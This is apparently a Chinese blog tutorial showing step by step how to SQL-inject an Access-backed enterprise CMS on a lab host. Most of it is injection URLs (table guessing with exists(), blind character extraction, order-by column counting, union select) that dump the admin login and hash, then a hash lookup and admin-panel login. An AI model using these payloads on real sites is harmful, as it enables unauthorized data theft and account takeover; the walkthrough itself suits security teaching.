本篇文章以凡诺企业网站管理系统为例,讲解了access数据库是如何进行SQL注入的,以及注入点如何利用,如何判断查询字段个数,如果用联合查询爆出数据库数据等;
之前有两篇文章详细介绍了MySQL数据库的SQL注入,以及注入点的详细利用,文章链接如下
【sql注入超详细】你知道什么是SQL注入吗?直到如何通过SQL注入来控制目标服务器吗?一篇文章教你sql注入漏洞的原理及方法----sql注入【一】_ANii_Aini的博客-CSDN博客SQL注入漏洞详解。包括原理,分类比如数字型,字符型,搜索型,xx型,宽字节注入,报错注入,盲注,有无回显等,各种注入payload以及产生原因等等https://blog.csdn.net/m0_67844671/article/details/133031125
【sql注入】如何通过SQL注入getshell?如何通过SQL注入读取文件或者数据库数据?一篇文章告诉你过程和原理。sql注入【二】_ANii_Aini的博客-CSDN博客【sql注入】如何通过SQL注入getshell?如何通过SQL注入读取文件或者数据库数据?一篇文章告诉你过程和原理。本篇博客主要是通过piakchu靶场来讲解如何通过SQL注入漏洞来写入文件,读取文件。通过SQL输入来注入木马来getshell等,讲解了比较详细的过程;https://blog.csdn.net/m0_67844671/article/details/133461141
(靶场以凡诺企业网站管理系统为例)
我们发先新闻中心这个页面存在注入点
access数据库SQL注入与MySQL数据库SQL注入差不多,大同小异
http://192.168.31.55:208/news_view.asp?id=14 and exists(select * from users)
## mysql5.0以前版本都是靠暴力猜解,准备个字典(表名、库名、字段名等)
## exists:access数据查询结果是否有数据,如果有数据,exists得到true,真
## 如果没有数据,直接给你报错了
## 返回错误信息,说明users表不存在,继续提交。exists是判断某个表是否存在或者表中是否有数据。
## 报错了说明没有这个users表
页面没有报错说明有这个users表的
查看是否有news表,我们这是手工根据经验尝试表名,后面有字典爆破工具昂。
http://192.168.31.208/news_view.asp?id=14 and exists(select * from news)
查看是否有管理员表,名称一般为admin或者administrator
http://192.168.31.208/news_view.asp?id=14 and exists(select * from admin)
还是返回错误信息,说明admin表不存在,继续提交。
http://192.168.31.208/news_view.asp?id=14 and exists(select * from administrator)
页面没有报错,说明存在administrator这个表的
http://192.168.31.208/news_view.asp?id=14 and exists(select username from administrator)
http://192.168.31.208/news_view.asp?id=14 and exists(select user_name from administrator)
http://192.168.31.208/news_view.asp?id=14 and exists(select password from administrator)
http://192.168.31.208/news_view.asp?id=14 and (select top 1 len(user_name) from administrator)>1
select top 1 len(user_name) from administrator
#取出administrator表的前1行记录,并查询这行记录的user_name字段的长度
http://192.168.31.208/news_view.asp?id=14 and (select top 1 len(user_name) from administrator)>2
http://192.168.31.208/news_view.asp?id=14 and (select top 1 len(user_name) from administrator)>5
没报错说明我们猜测是对的,administrator表的第一行记录的user_name字段的长度大于1
http://192.168.31.208/news_view.asp?id=14 and (select top 1 asc(mid(user_name,1,1)) from administrator)>0 ## 返回正常页面
## 说明ASCII值大于0 ,字段值应该为字母,如果是小于0那么说明是汉字,下面我们继续猜解。
## mid是从中间位置取子串函数
## 格式如下:
## mid(字符串,起始位,截取的位数)
## 例如:
## mid(“abcdef”,2,3)
## 结果是bcd
## asc是查看字母在ascii码表中的代表数字,ASCII值大于0 ,字段值应该为字母,如果是小于0那么说明是汉字,因为ascii码表中没有汉字,返回负数
http://192.168.31.208/news_view.asp?id=14 and (select top 1 asc(mid(user_name,1,1)) from administrator)>500 ## 返回错误页面
## 说明字段对应的ASCll值在0和500之间。继续提交。
http://192.168.31.208/news_view.asp?id=14 and (select top 1 asc(mid(user_name,1,1)) from administrator)>100 ##返回错误页面
## 说明字段对应的ASCll值在0和100之间。继续提交。
http://192.168.31.208/news_view.asp?id=14 and (select top 1 asc(mid(user_name,1,1)) from administrator)>90 ## 返回正常页面
## 说明字段对应的ASCll值在90和100之间。继续提交。
http://192.168.31.208/news_view.asp?id=14 and (select top 1 asc(mid(user_name,1,1)) from administrator)>96 ## 返回正常页面
## 说明字段对应的ASCll值在96和100之间。继续提交。
http://192.168.31.208/news_view.asp?id=14 and (select top 1 asc(mid(user_name,1,1)) from administrator)>97 ## 返回错误页面
## 说明administrator表中的user_name字段的第一位ASCII值为97。通过反查ASCII值对应的字母,得到字符值为“a”,接着第二位查询。
http://192.168.31.208/news_view.asp?id=14 and (select top 1 asc(mid(user_name,2,1)) from administrator)>99 ## 返回正常页面(注:查第二个字母的时候记得把user_name后面的1变成2)
http://192.168.31.208/news_view.asp?id=14 and (select top 1 asc(mid(user_name,2,1)) from administrator)>100 ## 返回错误页面
## 用同样的方法,可猜解user_name字段值和password值,最终得到如下结果:
## 可看出password的值为32位MD5加密,使用MD5在线破解工具进行破解,得到明文密码为admin
[user_name]:admin
[password]:21232f297a57a5a743894a0e4a801fc3
order by 1
order by 2
...
order by n-1
order by n
如果n-1时返回正常,n时返回错误,那么说明字段数目为n。
## 得到字段长度后,就可利用union select查询获得字段内容了。
and 1=2 union select 1, 2, 3...., n from 表名
## 执行上面的查询时,在页面中会返回数字,修改查询语句中的数字为字段名,例如提交如下代码。
and 1=2 union select1, 字段1, 字段2...., n from 表名
## 在页面中就会返回字段内容,不必一个一个进行猜解了
测试实例
http://192.168.31.208/news_view.asp?id=14 order by 1 ## 正常
http://192.168.31.208/news_view.asp?id=14 order by 7 ##正常
http://192.168.31.208/news_view.asp?id=14 order by 8 ## 错误
order by 8的时候报错了而order by 7的时候没报错说明查询的字段数为7个字段
去数据库看一下,果然是7个字段
## 说明字段数目为7 ,因此可提交以下字段。
http://192.168.31.208/news_view.asp?id=14 union select 1,2,3,4,5,6,7 from administrator
## (通过联合查询从这7个字段里面去查询administrator表里面那些是可写的数字)
从页面返回信息中,可看到显示了数字2和3。因此可以将这2个数字替换为我们想要数据的字段名,提交如下查询。
http://192.168.31.208/news_view.asp?id=14 union select 1,user_name,password,4,5,6,7 from administrator
## 在页面返回信息中,立即获得了user_name和password字段的值,比前面的方法快速高效多了。
拿到了一个登录账号和密码,不过密码是md5加密过得(试一试能不能撞库撞出来)
md5在线破解网址(说破解不对,毕竟哈希算法不可逆,可以撞库就是有人做了数据库存放这明文和哈希值,现在通过哈希值拿到明文)
md5在线解密破解,md5解密加密https://www.cmd5.com/
拿到了密码明文为admin
有了后台用户名和密码,那么我们再找到后台登录网址就可以了
使用7kb或者御剑等攻击来扫描目录(需要工具可以私信)
发现好几个admin开头的目录,经过测试 192.168.31.208/admin刚好是后台页面
账号密码 admin/admin 刚才通过注入拿出来的
如果需要网络安全工具可以留言
如果有不懂的地方留言一起技术交流
希望各路神仙大神们的指点指正